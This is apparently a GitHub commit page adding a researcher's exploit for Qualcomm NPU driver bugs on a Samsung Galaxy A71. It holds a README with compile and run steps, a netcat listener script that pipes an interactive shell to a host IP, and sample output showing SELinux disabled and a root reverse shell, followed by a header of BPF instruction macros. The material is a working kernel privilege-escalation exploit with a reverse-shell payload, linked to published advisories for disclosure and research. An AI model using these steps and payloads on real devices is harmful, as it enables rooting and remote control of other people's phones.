Skip to content

Commit 62e1aa2

Browse files
committed
Add NPU exploit
1 parent cbf7c96 commit 62e1aa2

6 files changed

Lines changed: 1361 additions & 0 deletions

File tree

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
## Exploit for Qualcomm NPU bugs (CVE-2021-1940, CVE-2021-1968, CVE-2021-1969)
2+
3+
The write up can be found [here](https://securitylab.github.com/research/qualcomm_npu). These are bugs in the Qualcomm NPU driver I reported between November 2020 and December 2020. The GitHub Advisories for these bugs are: [CVE-2021-1940/GHSL-2021-1029](https://securitylab.github.com/advisories/GHSL-2021-1029-npu/), [CVE-2021-1968/GHSL-2021-1030](https://securitylab.github.com/advisories/GHSL-2021-1030-npu/) and [CVE-2021-1969/GHSL-2021-1031](https://securitylab.github.com/advisories/GHSL-2021-1031-npu/). These bugs can be used to gain arbitrary kernel code execution, read and write from the untrusted app domain. Kernel code are executed in the context of the root user and the exploit also disable SELinux.
4+
5+
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3BUB5, Baseband A715FXXU3BUB4 and Kernel version 4.14.190-20973144. The offsets in the exploit refers to that version of the firmware. When running on other devices, the `FAST_CPU` macro may also need to change so that the code is executed on the fastest cpu on the device. The exploit should be compiled with either `-O2` or `-O3` level of optimization to ensure the cpu runs fast enough to win the race. For reference, I used the following command to compile with clang in ndk-21:
6+
7+
```
8+
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O3 npu_shell.c sendmsg_spray.c -o npu_shell
9+
```
10+
11+
The exploit will gain arbitrary kernel address read, write and kernel code execution. It'll then use these primitives to disable SELinux and pop a reverse root shell. To prepare for the reverse root shell, on the host machine, run a script that listens to port `4446`:
12+
13+
```
14+
#!/bin/bash
15+
16+
while [ 1 ];
17+
do
18+
echo -e "/system/bin/tail -n 0 -f /data/local/tmp/1 | /system/bin/sh -i 2>&1 | /system/bin/nc <HOST_IP> 4445 1> /data/local/tmp/1" | nc -l -p 4446;
19+
done
20+
```
21+
22+
With `<HOST_IP>` replaced by the IP address of the host machine. The `HOST_IP` macro in `npu_shell.c` also needs to be replaced.
23+
24+
The reason for this extra step is because `nc` on Android does not support the `-e` flag. (See "Popping a (reverse) shell" in [MMS Exploit Part 5: Defeating Android ASLR, Getting RCE](https://googleprojectzero.blogspot.com/2020/08/mms-exploit-part-5-defeating-aslr-getting-rce.html) of Mateusz Jurczyk and also the [reference](https://www.keuperict.nl/posts/security/2017/08/26/netcat-without-e/) quoted in the article) Then listens to port `4445` on the host machine:
25+
26+
```
27+
$ nc -nlvp 4445
28+
Listening on 0.0.0.0 4445
29+
```
30+
31+
To test, cross compile the file `npu_shell.c` and then execute with `adb`:
32+
33+
```
34+
adb push npu_shell /data/local/tmp
35+
adb shell
36+
a71:/ $ /data/local/tmp/npu_shell
37+
```
38+
39+
The exploit is fairly reliable on the device tested. If successful, it will use the kernel code execution primitive to switch off SELinux and create a reverse root shell:
40+
41+
```
42+
a71:/ $ /data/local/tmp/npu_sploit
43+
[+] host_irq_wq offset: ffffff800919d170
44+
a71:/ $ [+] network_stats_buf (controlled data) address: 0xffffffc06eb7c000
45+
[+] reallocation data initialized!
46+
[ ] initializing reallocation threads, please wait...
47+
[+] 4 reallocation threads ready!
48+
[+] trigger uaf
49+
[+] reallocation data initialized!
50+
[ ] initializing reallocation threads, please wait...
51+
[+] 8 reallocation threads ready!
52+
[-] failed to overwrite selinux_enforcing
53+
[+] network_stats_buf (controlled data) address: 0xffffffc0b3c50000
54+
[+] reallocation data initialized!
55+
[ ] initializing reallocation threads, please wait...
56+
[+] 4 reallocation threads ready!
57+
[+] trigger uaf
58+
[+] reallocation data initialized!
59+
[ ] initializing reallocation threads, please wait...
60+
[+] 8 reallocation threads ready!
61+
[+] successfully overwritten selinux_enforcing
62+
```
63+
64+
After that, SELinux will be disabled. To get a reverse root shell, follow these steps (For some reason, I need to do some manual steps to get the shell) It is important to first restart the `nc` server that is listening to port 4445 before doing anything on the target. (The restarting of the `nc` server can probably be automated)
65+
66+
1. Go to the terminal that listens to port 4445 and it should have received a packet:
67+
```
68+
$nc -nlvp 4445
69+
Listening on 0.0.0.0 4445
70+
Connection received on 12.34.56.78 37532
71+
72+
```
73+
2. Kill `nc` with `Ctrl C` and then start it again
74+
```
75+
^C
76+
$ nc -nlvp 4445
77+
Listening on 0.0.0.0 4445
78+
79+
```
80+
3. Go back to the Android target, press enter to unfreeze, the `nc` terminal should now have a root shell:
81+
```
82+
Listening on 0.0.0.0 4445
83+
Connection received on 12.34.56.78 37566
84+
/system/bin/sh: can't find tty fd: No such device or address
85+
/system/bin/sh: warning: won't have full job control
86+
:/ # id
87+
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
88+
:/ # getenforce
89+
Permissive
90+
:/ #
91+
```
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
#ifndef BPF_TOOLS_H
2+
#define BPF_TOOLS_H
3+
4+
#include <linux/bpf.h>
5+
6+
#define BPF_ALU64_REG(OP, DST, SRC) \
7+
((struct bpf_insn) { \
8+
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
9+
.dst_reg = DST, \
10+
.src_reg = SRC, \
11+
.off = 0, \
12+
.imm = 0 })
13+
14+
#define BPF_ALU64_IMM(OP, DST, IMM) \
15+
((struct bpf_insn) { \
16+
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
17+
.dst_reg = DST, \
18+
.src_reg = 0, \
19+
.off = 0, \
20+
.imm = IMM })
21+
22+
#define BPF_MOV64_REG(DST, SRC) \
23+
((struct bpf_insn) { \
24+
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
25+
.dst_reg = DST, \
26+
.src_reg = SRC, \
27+
.off = 0, \
28+
.imm = 0 })
29+
30+
#define BPF_MOV64_IMM(DST, IMM) \
31+
((struct bpf_insn) { \
32+
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
33+
.dst_reg = DST, \
34+
.src_reg = 0, \
35+
.off = 0, \
36+
.imm = IMM })
37+
38+
#define BPF_LD_IMM64(DST, IMM) \
39+
BPF_LD_IMM64_RAW(DST, 0, IMM)
40+
41+
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
42+
((struct bpf_insn) { \
43+
.code = BPF_LD | BPF_DW | BPF_IMM, \
44+
.dst_reg = DST, \
45+
.src_reg = SRC, \
46+
.off = 0, \
47+
.imm = (__u32) (IMM) }), \
48+
((struct bpf_insn) { \
49+
.code = 0, /* zero is reserved opcode */ \
50+
.dst_reg = 0, \
51+
.src_reg = 0, \
52+
.off = 0, \
53+
.imm = ((__u64) (IMM)) >> 32 })
54+
55+
#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM) \
56+
((struct bpf_insn) { \
57+
.code = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE), \
58+
.dst_reg = DST, \
59+
.src_reg = SRC, \
60+
.off = 0, \
61+
.imm = IMM })
62+
63+
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
64+
((struct bpf_insn) { \
65+
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
66+
.dst_reg = DST, \
67+
.src_reg = SRC, \
68+
.off = OFF, \
69+
.imm = 0 })
70+
71+
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
72+
((struct bpf_insn) { \
73+
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
74+
.dst_reg = DST, \
75+
.src_reg = SRC, \
76+
.off = OFF, \
77+
.imm = 0 })
78+
79+
#define BPF_STX_XADD(SIZE, DST, SRC, OFF) \
80+
((struct bpf_insn) { \
81+
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \
82+
.dst_reg = DST, \
83+
.src_reg = SRC, \
84+
.off = OFF, \
85+
.imm = 0 })
86+
87+
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
88+
((struct bpf_insn) { \
89+
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
90+
.dst_reg = DST, \
91+
.src_reg = 0, \
92+
.off = OFF, \
93+
.imm = IMM })
94+
95+
#define BPF_JMP_REG(OP, DST, SRC, OFF) \
96+
((struct bpf_insn) { \
97+
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
98+
.dst_reg = DST, \
99+
.src_reg = SRC, \
100+
.off = OFF, \
101+
.imm = 0 })
102+
103+
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
104+
((struct bpf_insn) { \
105+
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
106+
.dst_reg = DST, \
107+
.src_reg = 0, \
108+
.off = OFF, \
109+
.imm = IMM })
110+
111+
#define BPF_JMP_A(OFF) \
112+
((struct bpf_insn) { \
113+
.code = BPF_JMP | BPF_JA, \
114+
.dst_reg = 0, \
115+
.src_reg = 0, \
116+
.off = OFF, \
117+
.imm = 0 })
118+
119+
// This check has been added to ensure that function calls are always within the allowed range.
120+
#define BPF_EMIT_CALL__IMM(FUNC) ({ \
121+
uintptr_t __offset = (FUNC) - __bpf_call_base; \
122+
(__s32) __offset; \
123+
})
124+
125+
#define BPF_EMIT_CALL(FUNC) \
126+
((struct bpf_insn) { \
127+
.code = BPF_JMP | BPF_CALL, \
128+
.dst_reg = 0, \
129+
.src_reg = 0, \
130+
.off = 0, \
131+
.imm = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ })
132+
133+
#define BPF_EXIT_INSN() \
134+
((struct bpf_insn) { \
135+
.code = BPF_JMP | BPF_EXIT, \
136+
.dst_reg = 0, \
137+
.src_reg = 0, \
138+
.off = 0, \
139+
.imm = 0 })
140+
141+
142+
#endif

0 commit comments

Comments
 (0)